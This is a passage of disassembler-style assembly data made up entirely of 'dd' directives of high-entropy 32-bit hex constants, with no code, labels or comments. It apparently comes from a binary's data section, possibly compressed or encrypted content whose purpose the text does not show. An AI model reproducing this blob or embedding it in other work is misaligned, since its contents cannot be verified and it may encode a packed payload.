		dd 39DD5A8h, 0A63846C2h, 0BCC0BEFAh, 3E010648h,	5BF1CFA9h
		dd 80E432D9h, 8FD700D3h, 0C56CB088h, 0E8372409h, 2B07838h
		dd 0E949098h, 8EEE5F4Bh, 0B80CBB80h, 0BD3E634Eh, 3C3E3E9Ah
		dd 35CE930Fh, 0DD659441h, 0B88B7CBAh, 0C283DE39h, 0BFA0EE21h
		dd 0E00DB46h, 90958F2Ah, 1479FAh, 0B4DFAA43h, 7554FFE3h
		dd 685E4D00h, 37DAEE53h, 6AE100D8h, 0C71F8240h,	3500CFB8h
		dd 3353EB95h, 2E61B4Dh,	63A33228h, 48949497h, 0B636DF00h
		dd 29C70107h, 0F9170082h, 838608F4h, 7F60765Dh,	0E8260A28h
		dd 41B1C03Bh, 2437E2F6h, 82ABD200h, 0F02A09A3h,	697503h
		dd 2163AEDEh, 1EA1434Dh, 0D8BD3500h, 749B75Fh, 0DA421F8Fh
		dd 0AA0D8E58h, 38CFEC60h, 4E00B653h, 0CD3B296h,	0E7A8390h
		dd 66A2BE8Dh, 396B00BCh, 0DF703804h, 0DA7F9113h, 53540500h
		dd 0A137192Bh, 0CAE8AAC8h, 0F06703E1h, 0FAE048F2h, 39C90818h
		dd 0EC750A20h, 0B8B50FFCh, 0C360B985h, 3C15F25Bh, 4A598D00h
		dd 5FAAF1Eh, 21690044h,	0F37A868Fh, 0AE00B715h,	8BD04D3Ah
		dd 0A8B9132Eh, 40727EE0h, 3F0C3E25h, 84FA419h, 5D21C0B3h
		dd 8FE9503Ah, 0A278B1E0h, 8E828D04h, 3500636Bh,	772556C7h
		dd 0DE8FDCF9h, 1520FB08h, 5D418337h, 8DB98CD7h,	54CA8AD3h
		dd 2CBADC3Ah, 8800CFA2h, 62771AC5h, 5D3E74A4h, 0CB004CE3h
		dd 0BD187A01h, 570F0EDEh, 1600516h, 6CCCB1BEh, 0FD42D883h
		dd 6073BC0Dh, 0EE6050F8h, 328B5980h, 0DC27303Ch, 2ED23610h
		dd 96C73801h, 0D63BC06Eh, 40D4C8h, 0C8EC49A7h, 0D247F7FFh
		dd 2433E358h, 460026C6h, 0A724B361h, 0A839040Dh, 0C08DB953h
		dd 404B7344h, 6AC3C609h, 8B230026h, 43D3912h, 0C5B6F849h
		dd 313587DEh, 30F943F0h, 7987B96h, 0DA00F6FAh, 0DFA2E0B7h
		dd 47692Dh, 0BB24EBACh,	3B9BCB35h, 11C5E900h, 2F1EA0D6h
		dd 3E3400EDh, 6D64DB6Fh, 3F07738Eh, 93D0D146h, 0C0C5BD80h
		dd 6CDC0013h, 0A35C42Ch, 5A7B4F2Bh, 408B4400h, 9C0F42BAh
		dd 30950012h, 0B0D4F0A0h, 6A039E67h, 0E0E1AB6Eh, 284AC814h
		dd 69130EC9h, 8D23EE40h, 581EACD2h, 49C0D697h, 5ABE4BB5h
		dd 4DAD0050h, 0C4C04ED8h, 40001870h, 0A321D26h,	30AECC91h
		dd 2E19E8E4h, 14066088h, 15C557A9h, 87A180A9h, 0F06F013Ch
		dd 0E150353Ah, 618FE060h, 0CA2BAE00h, 0C317D8E5h, 0B1B8EEh
		dd 0E31F526Dh, 2D77F885h, 29508230h, 1330E27h, 60E7AFA8h
		dd 0E86368DEh, 3400F825h, 9DEECA2Dh, 7855B7h, 21EB1883h
		dd 61BBFD85h, 3E9FB118h, 6D63C80h, 0B2AD0115h, 80C0A0E7h
		dd 0B5BF29DFh, 44DE004Ah, 78AC6203h, 0AF0077E7h, 7C5B1040h
		dd 3E466734h, 0A40F2296h, 9C85F13Dh, 2C77C0A7h,	57EE0DD5h
		dd 5F50C7A8h, 0AB216501h, 6F222AD8h, 0EC782183h, 2FE032D4h
		dd 380084C1h, 6F7908E9h, 6682313h, 24405234h, 28001839h
		dd 0A20AAA78h, 30496437h, 0FC482E10h, 0B80354A8h, 7BBAC3E5h
		dd 1209183Bh, 0B00F202Bh, 83D24E00h, 3004EB57h,	39450CE5h
		dd 0FD58482Fh, 2795AC01h, 355379Ch, 0E6C03861h,	19E0D84Ch
		dd 0AD0CF3D5h, 11109975h, 0BECD1D6Dh, 4BC80049h, 29E17A8Ch
		dd 213E7030h, 3ABDF154h, 4BBBA5B0h, 0EC9F140Fh,	630094B4h
		dd 0A0668B2h, 0DE1FFC96h, 287E255Ch, 50003843h,	356A86A1h
		dd 70BC01BFh, 725A1E31h, 0D11240A8h, 8E0CDE2Eh,	0BB589D07h
		dd 984A0A92h, 0DF021301h, 499C8F2Fh, 0EE6200F5h, 6D818E10h
		dd 8C54831h, 20802660h,	846241D4h, 0FF07803Fh, 0AD5DCC22h
		dd 0E0BC27C2h, 7896AAh,	0F406BEDCh, 0DD0FEF01h,	6FCEB707h
		dd 1A63793Eh, 0C99A90FDh, 0F5B30046h, 78DF44CAh, 52FC36EAh
		dd 0C1A7040Eh, 0BB00D29Ah, 0C5FFAA96h, 3F4398E9h, 39015C66h
		dd 0E15760EBh, 9DE4D0CAh, 3A2DDC00h, 6B811630h,	1ED009Eh
		dd 0B0879F5Bh, 520FA11Eh, 0C0C6A2DAh, 84E0C10Bh, 18FE00B7h
		dd 0FBDBA895h, 2F0EDA51h
		dd 60D86B27h, 0EA80A1D4h, 20950738h, 6040E289h,	0DA4BBEB4h
		dd 0DC848200h, 0E574B096h, 2A790EFBh, 0CD8CFD35h, 9B03FA21h
		dd 2464D895h, 45F6C042h, 0F3EF018Ch, 0FC89263Ch, 2B28801Ch
		dd 519C1368h, 0EFA7188Bh, 52A421BBh, 743FED80h,	5510C0E6h
		dd 8B6AF609h, 0A80CD0F8h, 289F4F46h, 641B00C9h,	9DF6F7A9h
		dd 0F1051599h, 5357E6E2h, 0CE292AC0h, 70CC0747h, 0C050C712h
		dd 9E4A8CBh, 79F9A106h,	205975h, 8E5565A9h, 1DCE674Eh
		dd 0E300A37Ch, 0AE75F61h, 651685h, 7A6ABD64h, 72AAED74h
		dd 0E8E6DE00h, 5794E398h, 0B6CD033Bh, 84445F93h, 3E80DB9Bh
		dd 92005CC1h, 3391EAD8h, 0EDD45F1h, 0C241443h, 0AFA53BA0h
		dd 7D000792h, 0E3BAA387h, 45F80Ah, 8A3CA1E7h, 0C74914C9h
		dd 0A9857D00h, 0FF7FF0B8h, 0BF800071h, 911E29D1h, 6200B683h
		dd 0CAF1DC1Ch, 4835FBECh, 97001837h, 993BBB77h,	9D01933Fh
		dd 0C49A0C36h, 0D9DC1D1Eh, 32EC072Fh, 0F074449Ch, 6B1B35CBh
		dd 0E5977F1Fh, 0BEB714h, 0AF0FECAAh, 7771B11Dh,	9CDB00EEh
		dd 433C54A3h, 6600C23Bh, 65310350h, 306A2B97h, 0FF5C29CEh
		dd 14B85817h, 7264900Fh, 863083A3h, 6A82EF25h, 80BB8F43h
		dd 5DCDD673h, 50410012h, 0FA2406BBh, 0A20F6D44h, 83CA8C8Dh
		dd 90F18EE5h, 0BCC2C4h,	0B2D2983Eh, 0E738BDAh, 0E7D81F03h
		dd 0A6D5B5h, 0DBE80F0Ch, 9C35C0CDh, 0A4015270h,	90CF847Eh
		dd 0A1FB5DD6h, 2080B72Bh, 40EAF98Fh, 9600077Dh,	0EB0F4CCEh
		dd 1894A136h, 4851A319h, 80E7D654h, 3E8C3C30h, 7D2F9302h
		dd 45810103h, 0B7502189h, 0BD0B30E9h, 8DCBC00h,	735A597h
		dd 3494000Fh, 1A9D0D3Ch, 0B55CA42Eh, 85610061h,	0A881509Ah
		dd 8AA20624h, 0B9528EB8h, 85623C0Ch, 0CC21B6h, 88E1FDC3h
		dd 631A9752h, 0F6537000h, 4EB74F30h, 41CB182Ch,	0E0CD388Fh
		dd 0ABFC570Eh, 0A4FDC015h, 0E813D53Fh, 202E607Dh, 34C40553h
		dd 7107E507h, 0B200A803h, 0CA928545h, 0CAEAEBAh, 5390B7C4h
		dd 0E3CC8F06h, 80D2D9h,	122EA50h, 4DF0DAE0h, 96F23300h
		dd 0C43FAEF7h, 1E2A724Ch, 2E8CA3A4h, 0D3D70013h, 5629C3EEh
		dd 0EB4CE77Ch, 86F700F3h, 0CEAA8360h, 2ACC048Ah, 803A2348h
		dd 0A1376677h, 4906D00h, 405E457Ah, 6FE01D6Eh, 60003964h
		dd 0CE7CCAC7h, 920F21BEh, 0A036AC14h, 0AF20E053h, 9B8F0023h
		dd 0B72962BDh, 1200CDA5h, 3F508136h, 0F8BA3078h, 58B900AEh
		dd 27D751C3h, 43B0E4Dh,	0D3DF800Dh, 0FCE8CD14h,	0F81E0007h
		dd 3EA83C4Ch, 8200BD87h, 0A9DA36AAh, 538FC9h, 0C8F6DEC2h
		dd 3242AE55h, 76891A00h, 67122FB1h, 818C303h, 3007912Dh
		dd 1D0CD0B3h, 0F4FF3380h, 59D207CBh, 0AB701F9Eh, 87803D81h
		dd 8CE8E379h, 0FD05A7BCh, 4EEE6FD8h, 858DE500h,	0F4F50Ah
		dd 66E65BB7h, 0BB2690F2h, 1EF6D0C0h, 7FCD9251h,	8F670028h
		dd 1C0E4F1h, 7100F59Ch,	0E31A40F7h, 0E40A9AF9h,	2DDB0783h
		dd 0C18EC935h, 703E17ADh, 2C3F2224h, 77948AEh, 0B1753628h
		dd 80690440h, 21462EAFh, 9CD900FAh, 0F68F19E4h,	27FD5700h
		dd 294207F5h, 809000D1h, 0D3A2972Fh, 0B2A41C7h,	57038C1Bh
		dd 4FCBFA61h, 0E470DFAEh, 3CE687Bh, 0E83D3C66h,	0F7C8EC48h
		dd 8800BECFh, 9461D55Dh, 3916566Fh, 0B003798Ch,	0B8EA9A24h
		dd 4F6E5FF8h, 4CFA31Dh,	7947769Fh, 0BAF7FAE7h, 0DB88E840h
		dd 6A84003Dh, 667CC98Dh, 6100D3B6h, 82CB74B7h, 0DCB148h
		dd 94100EC0h, 44B22B88h, 6D12C800h, 0D3789D5Bh,	1C8B004h
		dd 98C20EA4h, 0E0AB39FFh, 54072B40h, 0E0DA4E38h, 0C8B328B0h
		dd 316600ADh, 0B932550Ch, 3005923h, 0A878454h, 0EA757C11h
		dd 2080091h, 4A44A58Ch,	0FA07AF49h, 0C05F3BD8h,	60C92520h
		dd 9CDC00E2h, 79AE14C3h, 0B90181A5h, 7473FF35h,	80F8954Ah
		dd 0B8BA7AD4h, 0D0E899h, 3669D3E8h, 0AA86E4C6h,	5900E6F8h
		dd 5F5C2B6Bh, 6EB220Dh,	34047354h, 4851968h, 2D7F6360h
		dd 807B3A0Eh, 0F7C2FC07h, 214C60C6h, 32589077h,	3E122E29h
		dd 76ECF007h, 0D9945DE1h, 9C842884h, 9E04041Bh,	0EF412F48h
		dd 38019D28h, 7B5180FEh, 820EFC4Dh, 0E8C72033h,	295D7A31h
		dd 0DC11FD5Ch, 0B702DA24h, 3ABF21BDh, 69D001C1h, 1223F911h
		dd 0D36010DBh, 22D4C9C4h, 6E95A140h, 9F10820Fh,	3D19EDE6h
		dd 400829DAh, 6078B528h, 0E46328C4h, 86912540h,	0AC22C508h
		dd 8F571053h, 0ECA7182Ah, 0C4D796F1h, 4A051h, 94C84AB3h
		dd 2A2400D3h, 53FF6614h, 2F008937h, 0C6FBF6B6h,	9B5BE4Bh
		dd 321DF881h, 0F017A580h, 4200F74Fh, 0B420B63Eh, 0ECAB8EF2h
		dd 4B81582Fh, 0DC9E4900h, 500E62F7h, 0FEDD950Eh, 0EA9BC09Ah
		dd 738CAB8Bh, 12333EE0h, 798E603h, 3801CB81h, 14599B0Bh
		dd 0F530B877h, 74A2045Eh, 80175A42h, 8F764CF3h,	12924900h
		dd 9825B6FCh, 959909E9h, 9E075A50h, 0C0A19447h,	9ED3E3Eh
		dd 2A30E000h, 2C6C345Eh, 0C1A50302h, 0FB522975h, 205A8799h
		dd 4D988834h, 0E5787907h, 5017A74Eh, 5BFB4B01h,	702FD4h
		dd 0B00E59F6h, 9B6462D3h, 49ACF000h, 1F752B98h,	0AF4013BFh
		dd 0E91C3Fh, 788C7D66h,	61C0EB3Ch, 4A40CCB1h, 98E3001Dh
		dd 0A13253A8h, 9F0484C7h, 29D7CEA7h, 3EC49C0h, 0A8AF008Fh
		dd 0BE6025ADh, 0EF1CD3D1h, 0B780895Dh, 51C55B16h, 0E0CE09A6h
		dd 12079002h, 86C81025h, 49001B5Ah, 455CD7B2h, 73E8410h
		dd 18D62A1Eh, 4021620Bh, 79A1AB80h, 5500AA9Ah, 0C212175Fh
		dd 674A3Fh, 0EF57F283h,	64F422Ah, 843EA202h, 0E18FF48Bh
		dd 24C08A64h, 0FF9500C5h, 13F308DBh, 10009884h,	4D8734D6h
		dd 0F8BEB9E8h, 0A7900069h, 0BFA64370h, 2B0342A2h, 0C534BA17h
		dd 0BEF83A8Fh, 1C7E00F8h, 6FDD117Fh, 5D00E22Eh,	0BD9A28D8h
		dd 7AA0B71Ah, 1F57F832h, 5519B1h, 746BF5BBh, 0E702E597h
		dd 68334525h, 0A8616076h, 0B23403FAh, 2796107Eh, 0EC342D8h
		dd 0B08B610Ah, 0AD01D8E7h, 0BEE465DFh, 99CAE810h, 0A25C1000h
		dd 60B8FFA6h, 15D01F2Dh, 16C000D4h, 0D6739BFEh,	0D885A100h
		dd 0C5FD8EEDh, 5AA20030h, 0BFD28B6Fh, 0EB00663Dh, 0E21577CEh
		dd 21B65h, 4CA2E1BEh, 0DB45887h, 0F5120E00h, 71AB8672h
		dd 0F017E64h, 5892B1D4h, 42B82E00h, 1A0E4FDAh, 60D9FF4Eh
		dd 4AD7CFEDh, 89F83E69h, 0B3A25F03h, 8D93F213h,	0B578DEE0h
		dd 0E5039490h, 0B94B9CAFh, 8EFDD8EBh, 0D52A00FFh, 9AA9B39Fh
		dd 94034610h, 3849E171h, 0C05898A8h, 0F0210009h, 64BDD9B2h
		dd 0F302F2FCh, 71DA2402h, 0DDBC115h, 7A02BD4h, 95725361h
		dd 5C806BC0h, 0AAB173F2h, 5235E00Fh, 1956E0A5h,	96AB5E3h
		dd 1EB455DBh, 957B83FFh, 335FE003h, 17E52CE7h, 0FDA20352h
		dd 0F8B0761Fh, 973A78DBh, 0B7070036h, 5042E56Eh, 1E6F4892h
		dd 0CFD3F100h, 613188E6h, 9B6C9500h, 0B289974Ch, 27640023h
		dd 516FD6D7h, 2109E2A5h, 104A556Eh, 1DAE2BC0h, 404DDBC2h
		dd 0D9280FF5h, 5C002716h, 4A99645Eh, 195A615h, 0C67490DBh
		dd 0C087D4B2h, 147EA359h, 0F0057D07h, 0CB90482Ch, 786F311h
		dd 0C4A224E6h, 37E8F0A8h, 0A40040DFh, 0DE19913h, 0CEC09Ah
		dd 0C149FC20h, 47EBCDB8h, 5B0E3300h, 4397E43Ch,	1C661410h
		dd 1788DEDh, 0CE083BA0h, 0D0AE4A7Ch, 0C701D5DDh, 0CA8BFE4Bh
		dd 0E0539380h, 5B0C9826h, 0BB2400F8h, 7CF21DA6h, 0E858CC8Eh
		dd 9CA8037Dh, 9092550Ah
		dd 6AF54Bh, 0E7ED454Eh,	0AD4ACFA4h, 3B002EFAh, 0A0EA5909h
		dd 0C6583Ch, 0BEF235FBh, 4BE5560Dh, 0EE90F601h,	0AC19F347h
		dd 23EFD0h, 65A622AEh, 5742722Dh, 4A29B000h, 0D63AABE7h
		dd 0C5D00362h, 0E4BF47BEh, 0FF07A190h, 154CD00h, 7635F79Eh
		dd 0F01400C0h, 553F97DBh, 6D71AE9Ch, 8FDFF60Ch,	0ECCF26A3h
		dd 5A5895C8h, 18F54901h, 0EAE0687Fh, 9004D070h,	8D6201C8h
		dd 9565FB1Ah, 69743057h, 0D1D30800h, 3C5A90DEh,	0C2CA0050h
		dd 0F52C8011h, 2D0E4C92h, 34979C9h, 0D059F794h,	0AC67E4h
		dd 0F1324076h, 0EAE2C8A4h, 52FD5100h, 522D27Dh,	1842677Ah
		dd 0A4A790ADh, 7B00E829h, 3703B91Eh, 0EEDAA3A5h, 747E249Ah
		dd 0BA803FB1h, 4571C81Ah, 4EFA54AEh, 8963D200h,	831CD848h
		dd 950100BDh, 8F343B19h, 35009C96h, 0A80CA375h,	453941h
		dd 830850A6h, 596A5B74h, 20D20D04h, 6A80C788h, 98D9173Bh
		dd 8E4700D4h, 3AF175F9h, 6A00AE38h, 63489AACh, 30ABFCEDh
		dd 0C010D3FBh, 0E6009C05h, 0AD237742h, 74800A76h, 0D9EE0086h
		dd 5AC8C9A5h, 0B60037EDh, 42E2E4F2h, 79D4E3F6h,	3E1AE6C3h
		dd 5680F40Eh, 44D65195h, 660009F8h, 6BCE423Dh, 10FEFBEh
		dd 241F612Ah, 0DCB146F9h, 0D0003162h, 0D27287B9h, 1F7FEB93h
		dd 7D969Bh, 9454E41Eh, 70E949A2h, 5558E3F0h, 60017F47h
		dd 27814CDAh, 9020EFE7h, 3B18E626h, 5881FA3Eh, 741ACFBh
		dd 9D29308Ch, 0F84B7300h, 55EB8D01h, 483E007Eh,	68ABDC7Ch
		dd 101D8009h, 9FC1F50Bh, 0E3590CAFh, 0F9B6CCh, 221A14FEh
		dd 0E864BFA1h, 1D876F00h, 0BD1E583Fh, 67E900FFh, 18CE2C9Bh
		dd 0CEA059AEh, 30F171BAh, 0A92E3F89h, 8A026820h, 0E012EA23h
		dd 9CB82Bh, 0D05AF0B5h,	77BF6716h, 56FA1801h, 0BD1FBC61h
		dd 0F85F7FF4h, 3FF004Ch, 8B6EBBB0h, 68007950h, 0E5BDCD7Dh
		dd 9645B5h, 0F3837F9Fh,	55FE6E3Dh, 8EA38D00h, 4C745D9Ch
		dd 0AA1B00B0h, 0C2BC7B1Ch, 2E00BF59h, 60E5B2CFh, 0EB4C25h
		dd 0A7685DF2h, 9A85491Eh, 6768203h, 0B1A34F93h,	63C8A183h
		dd 86C00005h, 84141AA7h, 7A1D46F7h, 30406CE2h, 2CB5BFEDh
		dd 29AF1ED9h, 9CD42ABh,	0A040897Bh, 7DFA6C4Dh, 60A25Dh
		dd 425B9F83h, 0E04348h,	7B33B896h, 1613B45Ah, 0C3785D00h
		dd 0E1B64A4Bh, 416400B0h, 14198E09h, 0A03A312Fh, 0D240072Bh
		dd 8045D78Bh, 6D8DD580h, 0FEECFAh, 4303C282h, 5033B5D6h
		dd 0FD7B441Fh, 73493DC0h, 80BD35h, 324C5148h, 31BBD243h
		dd 0FEE4E900h, 4E501E59h, 8ED800A4h, 5C35EFA6h,	24E67F10h
		dd 3497160Fh, 0E4C88050h, 648A723h, 0E37B8358h,	2A07118Bh
		dd 578DA3D2h, 0CCC6A440h, 580D0009h, 4791564Ah,	970073BBh
		dd 6B599F5Bh, 0FB11E2h,	65FDD799h, 89ED299Dh, 0A9012F07h
		dd 9E90D6FAh, 8EC817h, 289F7D6Ch, 0DA7AC071h, 12EDEB00h
		dd 0BA4CDBBDh, 88720076h, 429C6557h, 521E48A8h,	0F81DAB7h
		dd 0B4359F4Ah, 516820h,	1205DFE9h, 1D0990EEh, 0F0A26005h
		dd 0A080A185h, 202EB3h,	4FBBC99Fh, 739E4347h, 80BCB03Dh
		dd 0A30BDB49h, 958E822h, 4E5CA23Eh, 0FD6CE700h,	323EACD4h
		dd 0E46AA81Bh, 6398B800h, 931F30B7h, 0E04B5036h, 0FA8844CDh
		dd 0B80C4218h, 4CBE9758h, 5B26BF1Ch, 432702D0h,	4AC0D509h
		dd 41004F14h, 9652D9DFh, 17ABC588h, 2A80E5h, 7823BFE0h
		dd 7B246A70h, 0A6029706h, 6084FB8Ah, 3F569534h,	0FD800917h
		dd 16C8B235h, 0D800F7C1h, 0B5218719h, 7B944Ah, 6461ED2Ah
		dd 0F31D5DA9h, 0F74806EAh, 8AE640C0h, 79009DE2h, 0A8B0F23Ah
		dd 3191A12h, 2DFC157Ah,	1FF88EC4h, 0E300101Eh, 0E703B0F8h
		dd 0AB8AB9h, 1174CCD4h,	7228D65Dh, 337D9A71h, 0A06DF0A0h
		dd 99D70300h, 0D36FC73Fh, 60C938F5h, 0C41F5080h, 28A21CCCh
		dd 0BD2C617Eh, 0CB0086DAh, 0DF2B527Ah, 75A51CC5h, 0B87400C9h
		dd 7827B967h, 0EDA8BA00h, 80D1C13h, 0E14E8E5h, 5B811234h
		dd 737DC500h, 6B015AC4h, 0B92A879Fh, 5C60C778h,	0D1D2125Dh
		dd 0F6F88037h, 50079515h, 0D4082502h, 4D163220h, 0D5CB0703h
		dd 605B59A7h, 0CDB5C4ECh, 243E2800h, 9A1F7735h,	9DA707A9h
		dd 3026D68Fh, 9460387Dh, 50476B00h, 4FC727E9h, 0FACB005Ah
		dd 0B6362F20h, 74E60FB9h, 5DD84A01h, 6FEB7A3Eh,	4CC58120h
		dd 3B004CFDh, 0F50209D6h, 0E302FC08h, 27B02C5Eh, 9EF1E0A0h
		dd 0F4C63A0Ah, 8F641C00h, 0D370D893h, 32E8EE00h, 1520FC6Ah
		dd 0A1AD0335h, 3CD46913h, 80E36D90h, 4DE57800h,	9C5237A9h
		dd 0A54C008Dh, 0E6E8FD1Eh, 0EB00B42Ch, 9834BA44h, 2C38A7C4h
		dd 808C5548h, 875AA2F0h, 0D10B7876h, 80373B51h,	208C38C4h
		dd 0E0CA7CD0h, 0C76F0173h, 532C2DECh, 0E51C2130h, 20AEF1B8h
		dd 0BA1747C8h, 0FD036A9Ah, 0D1392486h, 8870D8CEh, 0C1CA000Eh
		dd 0C6403A2Ch, 0DB03F9A0h, 0F5D731D3h, 4B6F85Ah, 41A60012h
		dd 742D164Bh, 0D500DDD2h, 684C024Dh, 561DC42h, 0B7F1953Eh
		dd 0B2E480ABh, 0BC053118h, 0A9B95D0Eh, 2BE51F80h, 0E46A0098h
		dd 50C5427Dh, 0BC000D86h, 1EBEBAC6h, 30F0DE0Ch,	0FF200B7Ah
		dd 0AE00E778h, 0F350C353h, 0C283E2h, 88C6D684h,	0D2103FADh
		dd 1AD32100h, 272D1360h, 0D08D30B4h, 7A871C80h,	0E4A14D00h
		dd 0E7E22114h, 3FCF00EBh, 68479CADh, 0BF00F63Ah, 0F58B0540h
		dd 241B6999h, 204FA5Ch,	363D8A17h, 38857Eh, 0B2932383h
		dd 0B0182C0Fh, 7E100D3h, 751FC287h, 2771EAE6h, 26006175h
		dd 6CF651Dh, 77773247h,	39480BFAh, 0FC004508h, 91C1849Ch
		dd 0E060A800h, 44462F56h, 1D3A006Fh, 57B3771Eh,	1C075888h
		dd 2EC6C8C0h, 29A74B80h, 7DD200E0h, 0FAA41DA6h,	91032F45h
		dd 687A15D1h, 79288232h, 69E3F64h, 1B6EC714h, 2758D03Dh
		dd 0B8041E0Fh, 9ACF81B1h, 910078C5h, 57D5604Dh,	183D0204h
		dd 89800754h, 11D45FE0h, 4A726400h, 0F55AA350h,	690A0603h
		dd 19916506h, 0A905BD7Ah, 0D8579C26h, 76D077C0h, 0F86B1668h
		dd 6C94201Bh, 0C098BDB7h, 0E73B7813h, 9796AC1Fh, 0BC6D800h
		dd 0DEE252h, 0D34E340h,	3CD70205h, 1778D3Eh, 0D0527BC7h
		dd 3080453Bh, 833673BDh, 2F0010A6h, 0D44AF3EBh,	3DB40609h
		dd 5C808C43h, 3B34B7EFh, 355CE521h, 0E3A8002Bh,	98FC7912h
		dd 3813F0E9h, 0EF2CDB4Eh, 9C803948h, 0A9518C9Bh, 0BD079FECh
		dd 0FFF87C0Dh, 0B88AFBB0h, 7BE10035h, 0F699313Eh, 65002C8Fh
		dd 148EC1C8h, 4B491Ch, 0C78C67DFh, 759D195Bh, 23035EB0h
		dd 1C02ED7Ah, 59BDD11Bh, 8C605861h, 0B9761F9Ch,	40369C42h
		dd 7E5BCB7Fh, 0B8000680h, 57A181C0h, 1E3303h, 0AF435538h
		dd 7A632D18h, 46947800h, 0AA1A4BD9h, 0D7A703FFh, 0F59F76EEh
		dd 8D6CF698h, 48719300h, 0A425490Bh, 0BE50005Fh, 44F27F20h
		dd 0B31C0F0Ch, 0F409A3E0h, 2514800Dh, 96AF5AD6h, 0BE740074h
		dd 3AED06A0h, 0B0719100h, 10CDE4D4h, 0F5F00E1h,	0F4436CC2h
		dd 983EB3D2h, 0A6BD00D0h, 392E75C6h, 0C5E0066h,	506A0FF2h
		dd 7DECEE6Fh, 9EB07000h, 0CAB97114h, 0A0642EA3h, 518263D0h
		dd 54E0CCEAh, 3D0093BFh, 0C2FE1A77h, 4C7AF2A1h,	38748BD3h
		dd 0C6009A0Eh, 2F966BD8h, 1CB83DD7h, 0FA6E551Ch, 828EB040h
		dd 106C040h, 58769D49h,	0D0E7AA77h, 0C1249821h,	0D20010A8h
		dd 2FD46416h, 54FA3C0Ch, 2EDBCCD0h, 1CDC7D20h, 0B32980DFh
		dd 706C17A4h, 405EC81Ch
		dd 63C109h, 0E808557Dh,	0BDA00106h, 9FDBF071h, 126970E9h
		dd 0AA736172h, 0EE781300h, 45637F58h, 4ECD0028h, 0C91954C2h
		dd 0A700341Ah, 44C61CCh, 0B0B58D6Bh, 0AC590AA7h, 384F998h
		dd 0B7493CAh, 0B4C67B80h, 42D62700h, 4BD4E0ABh,	68393956h
		dd 2C924580h, 7988BDDCh, 1BC12F24h, 0E6BF8600h,	0FC7F9CAFh
		dd 39B6000Bh, 7279C5A3h, 6509DA42h, 980F8C21h, 308E2718h
		dd 0D2C00823h, 110037F6h, 0AA7E9658h, 5CCC517h,	10322D8Dh
		dd 63A5C076h, 0B3004F73h, 1F9A9579h, 1E302CB7h,	0C08BE460h
		dd 21BAE713h, 0CC1C92DEh, 0A90990B0h, 7FB7003Eh, 272C770h
		dd 13EAC0D1h, 50C0B882h, 0D41FA0AAh, 7700977Eh,	93D7CEA6h
		dd 0E727DE8h, 0AE5ABC2Ch, 0BE9EF020h, 0B43A5994h, 400580FFh
		dd 0B5421A5Bh, 67080904h, 148020C8h, 6123934Bh,	1038FC30h
		dd 1D7D9A3h, 296F2477h,	0D0B94CB4h, 567535B5h, 0DA12F11Ch
		dd 10E180FEh, 0B8F0C785h, 0D9151301h, 70680424h, 48FE2060h
		dd 781E2C6h, 508AAAD0h,	8FEC1197h, 0FB40FC39h, 65EA2E12h
		dd 24C0571Eh, 0E12B22FDh, 42743CB2h, 0A2A4F80h,	63A7E8Ah
		dd 0C23FF400h, 0CC735C2Bh, 35A00FFh, 9B2E48A2h,	0F209816Ah
		dd 458B3EC5h, 3C7000B0h, 9B7FD4Fh, 7F47B59h, 56DD4A4Dh
		dd 0CA3E1A10h, 14298E1h, 0CD8EAAFh, 0DC31A194h,	8BEAA03Fh
		dd 8AFD5500h, 8C8FBE8Dh, 0C1FB0028h, 0B32F5060h, 0CA7F76B9h
		dd 0F4196901h, 93620BF2h, 0C0BC6EC0h, 110967AEh, 0B31EB117h
		dd 2AC16F04h, 8D7BE7EAh, 0F3C4CF0h, 46F93166h, 5EDE8140h
		dd 230FF462h, 804E7257h, 0E2270389h, 2C3B1C77h,	32C1407Ah
		dd 0FD6E48E5h, 17B9C361h, 7DD5F31Ch, 6BB79883h,	0B0F08895h
		dd 3D001D37h, 45E0A6D9h, 0FF33A407h, 2F228BE4h,	0EC0069A2h
		dd 9363EA6Ch, 0CB40DC00h, 411B3F45h, 909EF836h,	0FCBA00FAh
		dd 64A6E06Bh, 4A3FB974h, 0A5600105h, 2B72E231h,	0BC7909CDh
		dd 0F48BDD25h, 1C212E0Fh, 0E391F327h, 8E719DE8h, 72F63F01h
		dd 5B587502h, 17101C20h, 0DC06A8h, 6D1BF4B4h, 2907AEDAh
		dd 577BF6ABh, 87F578A0h, 0B02E03E8h, 1B59D875h,	0F89FD7D0h
		dd 0AD186F7Fh, 0B128E154h, 0E4CF0057h, 77B3C260h, 210005F8h
		dd 34137097h, 831432h, 7163728Ch, 0D6B2A190h, 0E12EAC02h
		dd 60CFE475h, 98F7B5CCh, 51C0003h, 66081022h, 2B006B44h
		dd 0BEC43586h, 0A67E0D9h, 0ED12B5DFh, 8BD500FCh, 0B85BEE75h
		dd 0E328AF05h, 0D0034C8Dh, 0B00AC75Eh, 7482782h, 0E9866B1h
		dd 38EAA067h, 0FD026DE9h, 0E75B9235h, 1CE0D050h, 0C0587286h
		dd 3288CFAFh, 8C003649h, 0E5BDD2Ah, 24285C42h, 0B526806h
		dd 57805F67h, 493BA24Ch, 436AC10Fh, 99F90150h, 4BC6EC0h
		dd 3DE11E7Eh, 28A518E3h, 0D81F2AA6h, 2C8231CFh,	685B0BA7h
		dd 0EB1C3Ch, 1BE7A118h,	0B8653563h, 0C4048B02h,	0CE618792h
		dd 41704Ch, 6ADCC924h, 79A42EB9h, 7F9A4304h, 58C1F5BCh
		dd 9E302F99h, 7F0AF6FFh, 37560177h, 0E5EEC09Eh,	3060E5F8h
		dd 45068C40h, 0BABDD9Bh, 440F3E10h, 8F38F380h, 19D8763Eh
		dd 0B03CC500h, 0E62C7BEh, 0BFCC0056h, 70F01D35h, 90722F94h
		dd 8A2E610Bh, 3DC585C1h, 13220CF0h, 40042D9Ah, 32FD7A30h
		dd 589A6181h, 2300BDFAh, 519A2F97h, 0E634F2h, 440249ACh
		dd 2E986AD8h, 0D4E15200h, 31D19395h, 0ACA70FDFh, 409DDC76h
		dd 0C259F6F0h, 8C00BE5Fh, 8387F226h, 0AC2C4Ch, 40F17F54h
		dd 33AF4275h, 0E40022E6h, 13957A69h, 449E89Fh, 0E3FB513Ah
		dd 134A8B1h, 777C6D76h,	0D43CB4BDh, 4D9E5C00h, 3AC2A1D6h
		dd 0B9CF7402h, 0E0D5BF6Ch, 77E6248Fh, 0B839FEE8h, 0DE143AF0h
		dd 70C78280h, 26CDD075h, 0CEFE1D0Fh, 575C2081h,	0B0FB54Dh
		dd 9A401E6h, 0B7326A00h, 6F3F4403h, 5E2D0068h, 6501471Dh
		dd 117078h, 19EB1BFAh, 25F38A59h, 2D6BDE00h, 0C252BF20h
